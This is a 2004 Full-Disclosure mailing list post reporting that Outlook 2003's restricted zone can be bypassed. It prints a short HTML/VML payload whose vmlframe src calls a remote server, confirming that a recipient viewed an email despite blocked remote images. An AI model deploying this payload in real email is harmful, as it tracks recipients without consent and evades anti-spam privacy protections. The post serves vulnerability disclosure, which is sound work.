[Full-Disclosure] PING: Outlook 2003 Spam

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Date: 05/11/04

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    Date: Tue, 11 May 2004 15:44:43 -0000
    
    

    Tuesday, May 11, 2004

    Outlook 2003 the premier mail client from the company
    called 'Microsoft' certainly appears to have a lot of security
    features built into it. Cursory examination shows excellent
    thought into 'spam' containment, 'security' consideration and
    many other little 'things'. So much so the default rendering of
    html is in so-called 'restricted zone' which disallows nearly
    everything [frames, iframes, objects, scripting etc.]. In
    addition 'special' spam measures are taken to disallow graphic
    downloads from a remote server in html email which can be used
    to verify recipients:

    [screen shot: http://www.malware.com/duhlook.png 40KB]

    The Key Word is: nearly

    Utilising Outlook's own bizarre scheMAH ! which comprises
    a 'proper' frame along with an src pointing to our remote
    server, we are able to ping the server and confirm our recipient
    has viewed our email. We don't require graphics or frames or
    iframes to do that:

    <v:vml frame style="LEFT: 50px; WIDTH: 300px; POSITION:
    relative; TOP: 30px; HEIGHT: 200px"
    src = "http://www.malware.com/duh.txt#malware"></v:vmlframe>

    <HTML>
    <HEAD>
    <STYLE>
    v:* { behavior: url(#default#VML); }
    </STYLE>
    <XML:NAMESPACE NS="urn:schemas-microsoft-com:vml" PREFIX="v"/>
    </HEAD>

    Notes:

    1. We now commence our examination of the Microsoft Office 2003
    suite, we're a bit late, but it has taken all this time to save
    up to buy the thing
    2. Quick 72 hour prodding reveals that this 'perceived' premier
    device known as Outlook 2003 is in fact riddled with holes
    3. Do not receive or open any emails period. Use string and tin
    cans if you must communicate

    End Call

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